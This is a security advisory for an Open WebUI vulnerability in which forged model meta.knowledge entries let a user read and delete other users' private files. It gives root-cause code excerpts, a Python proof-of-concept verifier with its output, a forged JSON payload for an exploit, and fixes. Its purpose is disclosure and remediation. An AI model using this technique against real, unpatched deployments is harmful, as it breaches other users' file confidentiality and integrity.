CVE-2026-54012: Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion

Summary

Open WebUI lets a user who can create, update, or import workspace models store arbitrary meta.knowledge entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats meta.knowledge entries of type file as an authorization source in two places: the built-in viewfile tool reads the file's extracted text, and hasaccesstofile()'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker needs the workspace.models or workspace.modelsimport permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:

- read the file's extracted text (up to 100000 characters per viewfile call from file.data.content), - read the file's content via GET /api/v1/files/{id}/content, and - delete the file via DELETE /api/v1/files/{id}.

Root Cause

ModelMeta allows extra metadata fields and ModelForm accepts that metadata without a validator for meta.knowledge file access:

python backend/openwebui/models/models.py class ModelForm(BaseModel): modelconfig = ConfigDict(extra='ignore')

id: str basemodelid: Optional[str] = None name: str meta: ModelMeta params: ModelParams

Model creation only checks the caller's model-workspace permission and then stores the form data:

python backend/openwebui/routers/models.py if user.role != 'admin' and not await haspermission( user.id, 'workspace.models', request.app.state.config.USERPERMISSIONS, db=db ): raise HTTPException(...)

model = await Models.insertnewmodel(formdata, user.id, db=db)

The insert sink persists the supplied meta:

python backend/openwebui/models/models.py result = Model( { formdata.modeldump(exclude={'accessgrants'}), 'userid': userid, ... } )

When built-in tools are assembled, meta.knowledge is passed through as modelknowledge, and any file entry enables viewfile:

python backend/openwebui/utils/tools.py modelknowledge = model.get('info', {}).get('meta', {}).get('knowledge', []) ... knowledgetypes = {item.get('type') for item in modelknowledge} if 'file' in knowledgetypes or 'collection' in knowledgetypes: builtinfunctions.append(viewfile)

viewfile treats matching modelknowledge file IDs as authorization, before hasaccesstofile():

python backend/openwebui/tools/builtin.py if ( file.userid != userid and userrole != 'admin' and not any( item.get('type') == 'file' and item.get('id') == fileid for item in (modelknowledge or []) ) and not await hasaccesstofile(...) ): return json.dumps({'error': 'File not found'})

The same forged meta.knowledge is also trusted outside the tool path. hasaccesstofile() iterates the caller's accessible models and returns true when a model's meta.knowledge contains the requested file ID:

python backend/openwebui/utils/accesscontrol/files.py for model in await Models.getmodelsbyuserid(user.id, permission=accesstype, db=db): knowledgeitems = getattr(model.meta, 'knowledge', None) or [] for item in knowledgeitems: if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id: return True

This branch is not restricted to read, so it also satisfies the write check that DELETE /api/v1/files/{id} performs. The same missing validation applies to the import path (POST /api/v1/models/import) and the update path, not only create.

PoC

python #!/usr/bin/env python3 """ Verifier for forged model meta.knowledge file entries reaching builtin tools.

The proof executes: - the real Models.insertnewmodel() sink with a forged meta.knowledge entry - the real builtin viewfile() authorization branch

Fake DB/model adapters are used only to avoid requiring a live Open WebUI server. The security-sensitive code under test is Open WebUI application code. """

from future import annotations

import asyncio import ast import json import os import sys import types from pathlib import Path from types import SimpleNamespace

REPO = Path(file).resolve().parents[1] BUILTINTOOLS = REPO / "backend/openwebui/tools/builtin.py"

def prepareimports() -> None: sys.path.insert(0, str(REPO / "backend")) os.environ["VECTORDB"] = "none"

class DummyTyper: def command(self, args, kwargs): return lambda fn: fn

sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))

class FakeDb: def init(self): self.added = [] self.committed = False self.refreshed = False

def add(self, row): self.added.append(row)

async def commit(self): self.committed = True

async def refresh(self, row): self.refreshed = True

class FakeDbContext: def init(self, db): self.db = db

async def aenter(self): return self.db

async def aexit(self, exctype, exc, tb): return False

async def verifymodelinsertacceptsvictimfile(victimfileid: str): import openwebui.models.models as modelsmodule

fakedb = FakeDb() originalcontext = modelsmodule.getasyncdbcontext originalsetgrants = modelsmodule.AccessGrants.setaccessgrants originaltomodel = modelsmodule.Models.tomodelmodel

async def fakesetaccessgrants(args, kwargs): return True

async def faketomodel(self, model, accessgrants=None, db=None): return SimpleNamespace( id=model.id, userid=model.userid, basemodelid=model.basemodelid, name=model.name, params=model.params, meta=model.meta, accessgrants=[], isactive=model.isactive, createdat=model.createdat, updatedat=model.updatedat, )

try: modelsmodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) modelsmodule.AccessGrants.setaccessgrants = fakesetaccessgrants modelsmodule.Models.tomodelmodel = types.MethodType(faketomodel, modelsmodule.Models)

inserted = await modelsmodule.Models.insertnewmodel( modelsmodule.ModelForm( id="attacker-model", basemodelid="gpt-vision-base", name="Attacker Model", params={}, meta={ "knowledge": [ { "id": victimfileid, "type": "file", "name": "victim-private.txt", } ], "builtinTools": {"knowledge": True}, }, ), userid="attacker", ) finally: modelsmodule.getasyncdbcontext = originalcontext modelsmodule.AccessGrants.setaccessgrants = originalsetgrants modelsmodule.Models.tomodelmodel = originaltomodel

storedmeta = [getattr(row, "meta", None) for row in fakedb.added] storedknowledgeids = [ item.get("id") for meta in storedmeta for item in ((meta or {}).get("knowledge") or []) ]

return { "insertreturnedmodel": bool(inserted), "dbcommitcalled": fakedb.committed, "storeduserids": [getattr(row, "userid", None) for row in fakedb.added], "storedmodelids": [getattr(row, "id", None) for row in fakedb.added], "storedknowledgefileids": storedknowledgeids, }

async def verifyviewfiletrustsmodelknowledge(victimfileid: str): class FakeFiles: lookedupids = []

async def getfilebyid(self, fileid, db=None): self.lookedupids.append(fileid) if fileid == victimfileid: return SimpleNamespace( id=victimfileid, userid="victim", filename="victim-private.txt", data={"content": "PRIVATEMODELKNOWLEDGESECRET"}, createdat=1, updatedat=2, ) return None

async def fakehasaccesstofile(fileid, accesstype, user, db=None): return False

class FakeUserModel: def init(self, kwargs): self.dict.update(kwargs)

fakefiles = FakeFiles() fakefilesmodule = types.SimpleNamespace(Files=fakefiles) fakefileaclmodule = types.SimpleNamespace(hasaccesstofile=fakehasaccesstofile)

originalfilesmodule = sys.modules.get("openwebui.models.files") originalaclmodule = sys.modules.get("openwebui.utils.accesscontrol.files")

try: sys.modules["openwebui.models.files"] = fakefilesmodule sys.modules["openwebui.utils.accesscontrol.files"] = fakefileaclmodule

source = BUILTINTOOLS.readtext(encoding="utf-8") tree = ast.parse(source, filename=str(BUILTINTOOLS)) selected = [ node for node in tree.body if isinstance(node, ast.AsyncFunctionDef) and node.name == "viewfile" ] if len(selected) != 1: raise RuntimeError("could not find viewfile") module = ast.Module(body=selected, typeignores=[]) ast.fixmissinglocations(module) ns = { "json": json, "Optional": import("typing").Optional, "Request": object, "UserModel": FakeUserModel, "log": SimpleNamespace(exception=lambda args, kwargs: None), "MAXVIEWFILECHARS": 100000, "DEFAULTVIEWFILEMAXCHARS": 10000, } exec(compile(module, str(BUILTINTOOLS), "exec"), ns) viewfile = ns["viewfile"]

deniedwithoutmodelknowledge = await viewfile( victimfileid, request=SimpleNamespace(), user={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"}, modelknowledge=[], ) allowedwithmodelknowledge = await viewfile( victimfileid, request=SimpleNamespace(), user={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"}, modelknowledge=[{"id": victimfileid, "type": "file"}], ) finally: if originalfilesmodule is not None: sys.modules["openwebui.models.files"] = originalfilesmodule else: sys.modules.pop("openwebui.models.files", None) if originalaclmodule is not None: sys.modules["openwebui.utils.accesscontrol.files"] = originalaclmodule else: sys.modules.pop("openwebui.utils.accesscontrol.files", None)

denied = json.loads(deniedwithoutmodelknowledge) allowed = json.loads(allowedwithmodelknowledge) return { "fileidslookedup": fakefiles.lookedupids, "withoutmodelknowledge": denied, "withforgedmodelknowledge": allowed, "privatecontentdisclosed": allowed.get("content") == "PRIVATEMODELKNOWLEDGESECRET", }

async def main() -> None: prepareimports() victimfileid = "victim-private-file"

insertsink = await verifymodelinsertacceptsvictimfile(victimfileid) toolread = await verifyviewfiletrustsmodelknowledge(victimfileid)

result = { "confirmed": ( insertsink["insertreturnedmodel"] is True and insertsink["storeduserids"] == ["attacker"] and insertsink["storedknowledgefileids"] == [victimfileid] and toolread["withoutmodelknowledge"].get("error") == "File not found" and toolread["privatecontentdisclosed"] is True ), "attackeruserid": "attacker", "victimuserid": "victim", "victimfileid": victimfileid, "attackerownsfile": False, "modelinsertsink": insertsink, "toolread": toolread, "source": { "insertsink": "backend/openwebui/models/models.py:Models.insertnewmodel", "toolinjection": "backend/openwebui/utils/tools.py:getbuiltintools passes model meta.knowledge as modelknowledge", "readsink": "backend/openwebui/tools/builtin.py:viewfile", }, } print(json.dumps(result, indent=2, sortkeys=True)) if not result["confirmed"]: raise SystemExit(1)

if name == "main": asyncio.run(main())

The PoC executes the real Models.insertnewmodel() sink and the real viewfile() authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in meta.knowledge, then confirms viewfile() denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.

Result:

json { "attackerownsfile": false, "attackeruserid": "attacker", "confirmed": true, "modelinsertsink": { "dbcommitcalled": true, "insertreturnedmodel": true, "storedknowledgefileids": [ "victim-private-file" ], "storedmodelids": [ "attacker-model" ], "storeduserids": [ "attacker" ] }, "toolread": { "privatecontentdisclosed": true, "withforgedmodelknowledge": { "content": "PRIVATEMODELKNOWLEDGESECRET", "filename": "victim-private.txt", "id": "victim-private-file" }, "withoutmodelknowledge": { "error": "File not found" } }, "victimfileid": "victim-private-file", "victimuserid": "victim" }

Exploit Sketch

1. Attacker has permission to create or update workspace models. 2. Attacker creates a model with:

json { "meta": { "knowledge": [ { "id": "VICTIMFILEID", "type": "file", "name": "victim-private.txt" } ], "builtinTools": { "knowledge": true } } }

3. Attacker chats with that model using native/built-in tools and invokes viewfile for VICTIMFILEID. 4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.

Recommended Fix

Validate meta.knowledge on every model write path: create, update, and import. For entries with type == "file", require direct ownership, admin role, or hasaccesstofile(fileid, 'read', user, db=db) before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as 403, not 500.

Do not let viewfile() treat modelknowledge as an authorization bypass; it should still enforce ownership/admin/hasaccesstofile() per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same model meta.knowledge file-ID laundering flaw:

- Read via forged meta.knowledge on model create, through the built-in viewfile tool: @0xEr3n (earliest filing). - Distinct paths demonstrated by @5yu4n: the import endpoint (POST /api/v1/models/import), and cross-user read and deletion through the file API (GET / DELETE /api/v1/files/{id}) via hasaccesstofile()'s model branch.

Fix validates meta.knowledge ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.